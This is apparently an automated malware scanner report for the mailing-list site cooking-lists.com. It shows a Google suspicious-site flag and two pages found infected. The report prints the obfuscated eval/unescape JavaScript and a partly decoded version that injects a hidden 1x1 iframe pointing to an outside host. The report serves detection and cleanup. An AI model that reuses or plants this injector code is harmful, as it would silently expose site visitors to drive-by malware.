New scan:

Malware Scanner report for cooking-lists.com

Malicious/Suspicious/Total urls checked
2/0/19
2 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "cooking-lists.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=cooking-lists.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://www.cooking-lists.com/
200 OK
Content-Length: 25962
Content-Type: text/html
clean
http://pagead2.googlesyndication.com/pagead/show_ads.js
200 OK
Content-Length: 20008
Content-Type: text/javascript
clean
http://www.cooking-lists.com/lists/bread-machine-recipes
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 02 Mar 2015 16:59:19 GMT
Location: http://cooking-lists.com/mailman/listinfo/bread-machine-recipes_cooking-lists.com
Server: Apache
Content-Length: 289
Content-Type: text/html; charset=iso-8859-1
clean
http://cooking-lists.com/mailman/listinfo/bread-machine-recipes_cooking-lists.com
404 Not Found
Content-Length: 1487
Content-Type: text/html
clean
http://cooking-lists.com/mailman/listinfo/../admin
200 OK
Content-Length: 1492
Content-Type: text/html
clean
http://cooking-lists.com/mailman/listinfo/../../../create
400 Bad Request
Content-Length: 345
Content-Type: text/html
clean
http://cooking-lists.com/test404page.js
404 Not Found
Content-Length: 331
Content-Type: text/html
clean
http://cooking-lists.com/mailman/listinfo/../../../listinfo
400 Bad Request
Content-Length: 345
Content-Type: text/html
clean
http://www.cooking-lists.com/lists/clipping-cooking
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 02 Mar 2015 16:59:25 GMT
Location: http://cooking-lists.com/mailman/listinfo/clipping-cooking_cooking-lists.com
Server: Apache
Content-Length: 284
Content-Type: text/html; charset=iso-8859-1
clean
http://cooking-lists.com/mailman/listinfo/clipping-cooking_cooking-lists.com
404 Not Found
Content-Length: 1482
Content-Type: text/html
clean
http://www.cooking-lists.com/lists/cookbook-cookery
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 02 Mar 2015 16:59:26 GMT
Location: http://cooking-lists.com/mailman/listinfo/cookbook-cookery_cooking-lists.com
Server: Apache
Content-Length: 284
Content-Type: text/html; charset=iso-8859-1
clean
http://cooking-lists.com/mailman/listinfo/cookbook-cookery_cooking-lists.com
404 Not Found
Content-Length: 1482
Content-Type: text/html
clean
http://www.cooking-lists.com/lists/cookbook-recipes
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 02 Mar 2015 16:59:28 GMT
Location: http://www.cooking-lists.com/lists/cookbook-recipes/
Server: Apache
Content-Length: 260
Content-Type: text/html; charset=iso-8859-1
clean
http://www.cooking-lists.com/lists/cookbook-recipes/
200 OK
Content-Length: 11289
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var HZv41="0Uc%70Uc%65";var GvKLQUO="U565U3";var jmxo="56Uc%32Uc";var bM0s4kK="65X1%6EX";var VEBu9H=")));var u7WWvGG";var IrujHKMf="cape(VeXTi";var D4yffv="2p27p2p3Bp2p45p";var f8PbNZny="45Ul05U3A5U2F5";var M0qRNPX="2p27p2p3";f8PbNZny+="U2F5U665U";var uSEZFp="%6CUc%64";var Z63uwf3L="2p6Dp2p39";var VMBo="X1%4AX1%";var aomWLFkN="pe(sVYxD.repla";var IzwRw="75X1%6CX1%6CX";var Dfpl="%G6ECV%G";var YmEnz0="BUc%62Uc%7AUc%6";var THWVXP="%65X1%6D";var Sq0sXIq="8Uc%29Uc";var BYWZ61="64X1%6FX1%6";var UDJ1U=
... 3000 bytes are skipped ...
"9p2p64p2p74p2"+Qo2CkEnH;IkVX+="%G27CV%G29CV";EKtdBNSm=IzwRw+"1%34X1%75"+EKtdBNSm;NxrXgFJ=IkVX+"%G3B';eval(unes"+NxrXgFJ;dDXmwo3A=iYkv7M+"61Uc%7"+dDXmwo3A;XOCC=Qo2CkEnH+"p27p2p44p"+XOCC;QdyeSQ=NPjBLDc+"2p50p2p76p"+QdyeSQ;iI37=XOCC+"ce(/p2p/g,'%'"+iI37;E5x2dsN=NxrXgFJ+".replace(/MG/"+E5x2dsN;dDXmwo3A=iI37+"c%69Uc%62Uc%69U"+dDXmwo3A;dDXmwo3A=QdyeSQ+"p77p2p6"+dDXmwo3A;OSQgQl=E5x2dsN+"6E5U695U615U2E5"+OSQgQl;OSQgQl=EKtdBNSm+"1%6DX1%65X"+OSQgQl;dDXmwo3A=OSQgQl+"545U625U6C5U2"+dDXmwo3A;eval(dDXmwo3A);

Decoded script:


var sVYxD='X1%76X1%61X1%72X1%20X1%4CX1%4AX1%62X1%34X1%75X1%4AX1%3DX1%22X1%3CX1%64X1%69X1%76X1%20X1%69X1%64X1%3DX1%27X1%6EX1%4AX1%36X1%42X1%6DX1%4AX1%27X1%3EX1%3CX1%2FX1%64X1%69X1%76X1%3EX1%22X1%3BX1%69X1%66X1%28X1%64X1%6FX1%63X1%75X1%6DX1%65X1%6EX1%74X1%2EX1%62X1%6FX1%64X1%79X1%3DX1%3DX1%6EX1%75X1%6CX1%6CX1%29X1%4CX1%4AX1%62X1%34X1%75X1%4AX1%3DX1%27X1%3CX1%62X1%6FX1%64X1%79X1%3EX1%27X1%2BX1%4CX1%4AX1%62X1%34X1%75X1%4AX1%2BX1%27X1%3CX1%2FX1%62X1%6FX1%64X1%79X1%3EX1%27X1%3BX1%64X1%6FX1%63X1%7
... 4415 bytes are skipped ...
t.createElement('iframe');
var EnUV2Pvh=document.createElement('iframe');
EnUV2Pvh.src='http://fruits.lemonia.ws/Tbl';
EnUV2Pvh.src='http://fruits.lemonia.ws/Tbl';
EnUV2Pvh.width='1';EnUV2Pvh.height='1';EnUV2Pvh.name='DPEBJ8GLTwm9';
EnUV2Pvh.width='1';EnUV2Pvh.height='1';EnUV2Pvh.name='DPEBJ8GLTwm9';
EnUV2Pvh.style.visibility='hidden';bzg3.appendChild(EnUV2Pvh);
EnUV2Pvh.style.visibility='hidden';bzg3.appendChild(EnUV2Pvh);
<div id='nJ6BmJ'></div>

Antivirus reports:

NANO-Antivirus
Trojan.Url.IframeB.tddpf
AVG
HTML/Framer

http://www.cooking-lists.com/lists/cookbook-recipes/welcomeletter.html
200 OK
Content-Length: 29401
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var HZv41="0Uc%70Uc%65";var GvKLQUO="U565U3";var jmxo="56Uc%32Uc";var bM0s4kK="65X1%6EX";var VEBu9H=")));var u7WWvGG";var IrujHKMf="cape(VeXTi";var D4yffv="2p27p2p3Bp2p45p";var f8PbNZny="45Ul05U3A5U2F5";var M0qRNPX="2p27p2p3";f8PbNZny+="U2F5U665U";var uSEZFp="%6CUc%64";var Z63uwf3L="2p6Dp2p39";var VMBo="X1%4AX1%";var aomWLFkN="pe(sVYxD.repla";var IzwRw="75X1%6CX1%6CX";var Dfpl="%G6ECV%G";var YmEnz0="BUc%62Uc%7AUc%6";var THWVXP="%65X1%6D";var Sq0sXIq="8Uc%29Uc";var BYWZ61="64X1%6FX1%6";var UDJ1U=
... 3000 bytes are skipped ...
"9p2p64p2p74p2"+Qo2CkEnH;IkVX+="%G27CV%G29CV";EKtdBNSm=IzwRw+"1%34X1%75"+EKtdBNSm;NxrXgFJ=IkVX+"%G3B';eval(unes"+NxrXgFJ;dDXmwo3A=iYkv7M+"61Uc%7"+dDXmwo3A;XOCC=Qo2CkEnH+"p27p2p44p"+XOCC;QdyeSQ=NPjBLDc+"2p50p2p76p"+QdyeSQ;iI37=XOCC+"ce(/p2p/g,'%'"+iI37;E5x2dsN=NxrXgFJ+".replace(/MG/"+E5x2dsN;dDXmwo3A=iI37+"c%69Uc%62Uc%69U"+dDXmwo3A;dDXmwo3A=QdyeSQ+"p77p2p6"+dDXmwo3A;OSQgQl=E5x2dsN+"6E5U695U615U2E5"+OSQgQl;OSQgQl=EKtdBNSm+"1%6DX1%65X"+OSQgQl;dDXmwo3A=OSQgQl+"545U625U6C5U2"+dDXmwo3A;eval(dDXmwo3A);

Decoded script:


var sVYxD='X1%76X1%61X1%72X1%20X1%4CX1%4AX1%62X1%34X1%75X1%4AX1%3DX1%22X1%3CX1%64X1%69X1%76X1%20X1%69X1%64X1%3DX1%27X1%6EX1%4AX1%36X1%42X1%6DX1%4AX1%27X1%3EX1%3CX1%2FX1%64X1%69X1%76X1%3EX1%22X1%3BX1%69X1%66X1%28X1%64X1%6FX1%63X1%75X1%6DX1%65X1%6EX1%74X1%2EX1%62X1%6FX1%64X1%79X1%3DX1%3DX1%6EX1%75X1%6CX1%6CX1%29X1%4CX1%4AX1%62X1%34X1%75X1%4AX1%3DX1%27X1%3CX1%62X1%6FX1%64X1%79X1%3EX1%27X1%2BX1%4CX1%4AX1%62X1%34X1%75X1%4AX1%2BX1%27X1%3CX1%2FX1%62X1%6FX1%64X1%79X1%3EX1%27X1%3BX1%64X1%6FX1%63X1%7
... 4415 bytes are skipped ...
t.createElement('iframe');
var EnUV2Pvh=document.createElement('iframe');
EnUV2Pvh.src='http://fruits.lemonia.ws/Tbl';
EnUV2Pvh.src='http://fruits.lemonia.ws/Tbl';
EnUV2Pvh.width='1';EnUV2Pvh.height='1';EnUV2Pvh.name='DPEBJ8GLTwm9';
EnUV2Pvh.width='1';EnUV2Pvh.height='1';EnUV2Pvh.name='DPEBJ8GLTwm9';
EnUV2Pvh.style.visibility='hidden';bzg3.appendChild(EnUV2Pvh);
EnUV2Pvh.style.visibility='hidden';bzg3.appendChild(EnUV2Pvh);
<div id='nJ6BmJ'></div>

Antivirus reports:

NANO-Antivirus
Trojan.Url.IframeB.tddpf
AVG
HTML/Framer

http://www.cooking-lists.com/mailman/listinfo/cookbook-recipes_cooking-lists.com
404 Not Found
Content-Length: 1502
Content-Type: text/html
clean
http://www.cooking-lists.com/mailman/listinfo/../admin
200 OK
Content-Length: 1512
Content-Type: text/html
clean
http://www.cooking-lists.com/mailman/listinfo/../../../create
400 Bad Request
Content-Length: 345
Content-Type: text/html
clean
http://www.cooking-lists.com/mailman/listinfo/../../../listinfo
400 Bad Request
Content-Length: 345
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: cooking-lists.com

Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: cooking-lists.com
Referer: http://www.google.com/search?q=cooking-lists.com

Result:
The result is similar to the first query. There are no suspicious redirects found.